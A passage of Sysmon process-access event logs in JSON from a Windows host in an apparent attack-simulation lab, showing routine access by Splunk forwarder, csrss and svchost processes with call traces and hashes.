Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B0-5F2D-0000-0010F6E50800}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B0-5F2D-0000-0010F6E50800}","TargetProcessId":"2900","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B0-5F2D-0000-0010F6E50800}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B0-5F2D-0000-0010F6E50800}","TargetProcessId":"2900","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 